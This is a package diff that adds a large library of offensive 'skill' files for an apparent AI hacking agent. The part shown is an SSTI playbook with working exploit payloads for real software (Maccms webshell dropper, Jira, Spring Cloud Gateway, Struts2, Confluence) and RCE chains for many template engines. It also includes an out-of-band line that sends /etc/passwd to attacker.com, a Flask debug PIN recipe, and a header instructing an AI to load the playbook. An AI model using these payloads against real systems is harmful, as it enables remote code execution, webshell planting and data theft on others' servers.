ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,319 @@
|
|
|
1
|
+
# SSTI — Extended Scenarios & Real-World Cases
|
|
2
|
+
|
|
3
|
+
> Companion to [SKILL.md](./SKILL.md). Contains additional CVE cases, PHP template exploitation, and expression language crossover scenarios.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. CVE Case: Maccms 8.x PHP Template Eval
|
|
8
|
+
|
|
9
|
+
Maccms (a Chinese CMS) uses `eval()` to process template variables in search functionality:
|
|
10
|
+
|
|
11
|
+
**Attack path**: `/vod-search` endpoint passes user input into template evaluation.
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
# Step 1: Identify injection point
|
|
15
|
+
GET /index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
|
|
16
|
+
|
|
17
|
+
# Step 2: Write webshell (bypass quote filtering via base64):
|
|
18
|
+
GET /index.php?m=vod-search&wd={if-A:eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2FdKTs/PicpOw=='))}{endif-A}
|
|
19
|
+
# base64 decodes to: file_put_contents('shell.php','<?php eval($_POST[a]);?>');
|
|
20
|
+
|
|
21
|
+
# Step 3: Access webshell
|
|
22
|
+
POST /shell.php
|
|
23
|
+
a=system('id');
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
**Key technique**: base64 encoding to bypass quote/special character filtering in template context.
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
## 2. CVE Case: Atlassian Jira SSTI (CVE-2019-11581)
|
|
31
|
+
|
|
32
|
+
Jira's "Contact Administrators" form processes template expressions in the subject/body:
|
|
33
|
+
|
|
34
|
+
**Prerequisites**: "Contact Administrators Form" must be enabled; SMTP must be configured.
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
# Step 1: Navigate to /secure/ContactAdministrators!default.jspa
|
|
38
|
+
# Step 2: In the subject or message field, inject:
|
|
39
|
+
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('id')
|
|
40
|
+
|
|
41
|
+
# Step 3: Submit the form
|
|
42
|
+
# Step 4: Check email queue or admin notification for command output
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
**Note**: Output appears in the email sent to administrators, not in the HTTP response. Monitor outbound email or use OOB techniques (DNS/HTTP callback).
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## 3. Spring Cloud Gateway SpEL Injection (CVE-2022-22947)
|
|
50
|
+
|
|
51
|
+
Spring Cloud Gateway's actuator endpoint allows adding routes with SpEL expressions in filter arguments:
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Add malicious route:
|
|
55
|
+
POST /actuator/gateway/routes/pwn HTTP/1.1
|
|
56
|
+
Content-Type: application/json
|
|
57
|
+
|
|
58
|
+
{
|
|
59
|
+
"id": "pwn",
|
|
60
|
+
"filters": [{
|
|
61
|
+
"name": "AddResponseHeader",
|
|
62
|
+
"args": {
|
|
63
|
+
"name": "X-Pwn",
|
|
64
|
+
"value": "#{T(java.lang.Runtime).getRuntime().exec('id')}"
|
|
65
|
+
}
|
|
66
|
+
}],
|
|
67
|
+
"uri": "http://example.com",
|
|
68
|
+
"predicates": [{"name": "Path", "args": {"_genkey_0": "/pwn/**"}}]
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
# Refresh to apply:
|
|
72
|
+
POST /actuator/gateway/refresh
|
|
73
|
+
|
|
74
|
+
# Trigger:
|
|
75
|
+
GET /pwn/anything
|
|
76
|
+
# Check X-Pwn response header for command output
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
Also see the dedicated [expression-language-injection](../expression-language-injection/SKILL.md) skill for SpEL/OGNL deep dives.
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## 4. Struts2 OGNL → RCE (S2-045 / CVE-2017-5638)
|
|
84
|
+
|
|
85
|
+
Content-Type header with OGNL expression triggers evaluation in Struts2's multipart parser:
|
|
86
|
+
|
|
87
|
+
```
|
|
88
|
+
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
Also see [expression-language-injection](../expression-language-injection/SKILL.md) for the full OGNL treatment.
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## 5. Confluence OGNL Injection (CVE-2021-26084)
|
|
96
|
+
|
|
97
|
+
Confluence Server's `createpage-entervariables.action` evaluates OGNL in query parameters:
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Probe:
|
|
101
|
+
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
|
|
102
|
+
-d 'queryString=\u0027%2b{3*3}%2b\u0027'
|
|
103
|
+
# If response contains "9" → confirmed
|
|
104
|
+
|
|
105
|
+
# RCE:
|
|
106
|
+
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
|
|
107
|
+
-d 'queryString=\u0027%2b{Class.forName("java.lang.Runtime").getMethod("exec",Class.forName("java.lang.String")).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}%2b\u0027'
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 6. SSTI vs EL Injection — When to Cross-Reference
|
|
113
|
+
|
|
114
|
+
| Indicator | Go To |
|
|
115
|
+
|---|---|
|
|
116
|
+
| `{{7*7}}` returns 49, Python error traces | Stay here (Jinja2/Twig SSTI) |
|
|
117
|
+
| `${7*7}` returns 49, Java stack traces | [expression-language-injection](../expression-language-injection/SKILL.md) |
|
|
118
|
+
| `%{7*7}` returns 49, Struts2 errors | [expression-language-injection](../expression-language-injection/SKILL.md) |
|
|
119
|
+
| Template syntax with `{if-A:...}` style | PHP CMS template eval (this file, scenario 1) |
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## 7. Additional Template Engines — ASP.NET Razor
|
|
124
|
+
|
|
125
|
+
```csharp
|
|
126
|
+
// Detection
|
|
127
|
+
@(1+2) // Returns 3
|
|
128
|
+
|
|
129
|
+
// Code execution block
|
|
130
|
+
@{
|
|
131
|
+
var proc = new System.Diagnostics.Process();
|
|
132
|
+
proc.StartInfo.FileName = "cmd.exe";
|
|
133
|
+
proc.StartInfo.Arguments = "/c whoami";
|
|
134
|
+
proc.StartInfo.RedirectStandardOutput = true;
|
|
135
|
+
proc.StartInfo.UseShellExecute = false;
|
|
136
|
+
proc.Start();
|
|
137
|
+
var output = proc.StandardOutput.ReadToEnd();
|
|
138
|
+
}
|
|
139
|
+
<p>@output</p>
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## 8. Additional Template Engines — Elixir EEx/LEEx/HEEx
|
|
145
|
+
|
|
146
|
+
```elixir
|
|
147
|
+
# Basic detection
|
|
148
|
+
<%= 7*7 %>
|
|
149
|
+
|
|
150
|
+
# Command execution
|
|
151
|
+
<%= elem(System.shell("id"), 0) %>
|
|
152
|
+
<%= System.cmd("cat", ["/etc/passwd"]) |> elem(0) %>
|
|
153
|
+
|
|
154
|
+
# File read
|
|
155
|
+
<%= File.read!("/etc/passwd") %>
|
|
156
|
+
|
|
157
|
+
# Error-based detection
|
|
158
|
+
<%= elem(System.shell("invalid_cmd"), 1) %>
|
|
159
|
+
|
|
160
|
+
# Boolean-based
|
|
161
|
+
<%= if elem(System.shell("test -f /etc/passwd"), 1) == 0, do: "EXISTS", else: "NOPE" %>
|
|
162
|
+
|
|
163
|
+
# Time-based
|
|
164
|
+
<%= System.shell("sleep 5") %>
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## 9. Additional Template Engines — PHP Engines
|
|
170
|
+
|
|
171
|
+
### Smarty (versions matter)
|
|
172
|
+
```php
|
|
173
|
+
// Smarty 2.x (deprecated but still found)
|
|
174
|
+
{php}system('id');{/php}
|
|
175
|
+
|
|
176
|
+
// Smarty 3.x+ ({php} removed, use tags)
|
|
177
|
+
{system('id')}
|
|
178
|
+
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['c']); ?>",self::clearConfig())}
|
|
179
|
+
|
|
180
|
+
// Self-reading
|
|
181
|
+
{self::getStreamVariable("file:///etc/passwd")}
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
### Latte (Nette framework)
|
|
185
|
+
```
|
|
186
|
+
{php system('id')}
|
|
187
|
+
{='id'|system}
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
### Blade (Laravel) — Rarely exploitable server-side
|
|
191
|
+
```
|
|
192
|
+
// Raw output (if user controls template source)
|
|
193
|
+
{!! system('id') !!}
|
|
194
|
+
// @php directive
|
|
195
|
+
@php system('id') @endphp
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
### Plates (PHP)
|
|
199
|
+
```php
|
|
200
|
+
<?php system('id') ?>
|
|
201
|
+
// Plates uses raw PHP, so any PHP in template = RCE
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 10. Additional Template Engines — JavaScript Stack
|
|
207
|
+
|
|
208
|
+
### Universal Node.js Chain
|
|
209
|
+
```javascript
|
|
210
|
+
// Works across many JS template engines:
|
|
211
|
+
global.process.mainModule.require('child_process').execSync('id').toString()
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Pug (formerly Jade)
|
|
215
|
+
```
|
|
216
|
+
// Detection
|
|
217
|
+
#{7*7}
|
|
218
|
+
|
|
219
|
+
// RCE
|
|
220
|
+
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").execSync("id").toString();return sh}()}
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### Handlebars (older versions RCE chain)
|
|
224
|
+
```javascript
|
|
225
|
+
// Requires prototype pollution or specific Handlebars version
|
|
226
|
+
{{#with "s" as |string|}}
|
|
227
|
+
{{#with "e"}}
|
|
228
|
+
{{#with split as |conslist|}}
|
|
229
|
+
{{this.pop}}
|
|
230
|
+
{{this.push (lookup string.sub "constructor")}}
|
|
231
|
+
{{this.pop}}
|
|
232
|
+
{{#with string.split as |codelist|}}
|
|
233
|
+
{{this.pop}}
|
|
234
|
+
{{this.push "return require('child_process').execSync('id');"}}
|
|
235
|
+
{{this.pop}}
|
|
236
|
+
{{#each conslist}}
|
|
237
|
+
{{#with (string.sub.apply 0 codelist)}}
|
|
238
|
+
{{this}}
|
|
239
|
+
{{/with}}
|
|
240
|
+
{{/each}}
|
|
241
|
+
{{/with}}
|
|
242
|
+
{{/with}}
|
|
243
|
+
{{/with}}
|
|
244
|
+
{{/with}}
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
### Nunjucks
|
|
248
|
+
```
|
|
249
|
+
// Detection
|
|
250
|
+
{{7*7}}
|
|
251
|
+
|
|
252
|
+
// RCE
|
|
253
|
+
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### EJS
|
|
257
|
+
```javascript
|
|
258
|
+
// Detection: <% %> tags
|
|
259
|
+
<%= 7*7 %>
|
|
260
|
+
|
|
261
|
+
// RCE
|
|
262
|
+
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
### Lodash (_.template)
|
|
266
|
+
```javascript
|
|
267
|
+
// Detection
|
|
268
|
+
${7*7}
|
|
269
|
+
|
|
270
|
+
// RCE
|
|
271
|
+
${global.process.mainModule.require('child_process').execSync('id')}
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## 11. Universal SSTI Detection & Blind Techniques
|
|
277
|
+
|
|
278
|
+
### Universal Detection Payload
|
|
279
|
+
```
|
|
280
|
+
${{<%[%'"}}%\.
|
|
281
|
+
```
|
|
282
|
+
This triggers errors in most template engines, revealing the engine type via error messages.
|
|
283
|
+
|
|
284
|
+
### Mathematical Detection
|
|
285
|
+
```
|
|
286
|
+
{{7*7}} → Jinja2, Twig, Nunjucks
|
|
287
|
+
${7*7} → FreeMarker, Velocity, EJS, Lodash
|
|
288
|
+
<%= 7*7 %> → ERB, EJS, EEx
|
|
289
|
+
#{7*7} → Pug, Slim
|
|
290
|
+
@(7*7) → Razor
|
|
291
|
+
{7*7} → Smarty
|
|
292
|
+
(1/0).zxy → Error-based detection
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
### Blind SSTI (no output reflected)
|
|
296
|
+
```
|
|
297
|
+
# Boolean-based: compare response length/content for true vs false conditions
|
|
298
|
+
{{(3*4/2)==6}} vs {{(3*4/2)==7}}
|
|
299
|
+
|
|
300
|
+
# Time-based (Jinja2):
|
|
301
|
+
{% for i in range(10000000) %}{% endfor %}
|
|
302
|
+
|
|
303
|
+
# OOB (out-of-band):
|
|
304
|
+
# Jinja2: {{''.__class__.__mro__[1].__subclasses__()[X]('curl attacker.com/'+open('/etc/passwd').read(),shell=True)}}
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
### Flask Debug PIN Calculation
|
|
308
|
+
When Flask debug mode is enabled, calculate the PIN from leaked files:
|
|
309
|
+
```
|
|
310
|
+
Required values:
|
|
311
|
+
1. username: /etc/passwd → find flask process owner
|
|
312
|
+
2. modname: usually "flask.app"
|
|
313
|
+
3. appname: usually "Flask"
|
|
314
|
+
4. modpath: /path/to/flask/app.py (from error page)
|
|
315
|
+
5. MAC address: /sys/class/net/eth0/address → convert to decimal
|
|
316
|
+
6. machine-id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup (first hex after last /)
|
|
317
|
+
|
|
318
|
+
Combine: md5(mac + machine_id) → first 9 digits = PIN
|
|
319
|
+
```
|
|
@@ -0,0 +1,344 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ssti-server-side-template-injection
|
|
3
|
+
description: >-
|
|
4
|
+
SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion [SCENARIOS.md](./SCENARIOS.md).
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before using full engine-specific exploitation, you can first load:
|
|
14
|
+
|
|
15
|
+
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
|
|
16
|
+
- [expression-language-injection](../expression-language-injection/SKILL.md) when `${7*7}` or `%{7*7}` resolves in Java (SpEL/OGNL) — different attack surface from template engines
|
|
17
|
+
|
|
18
|
+
### Extended Scenarios
|
|
19
|
+
|
|
20
|
+
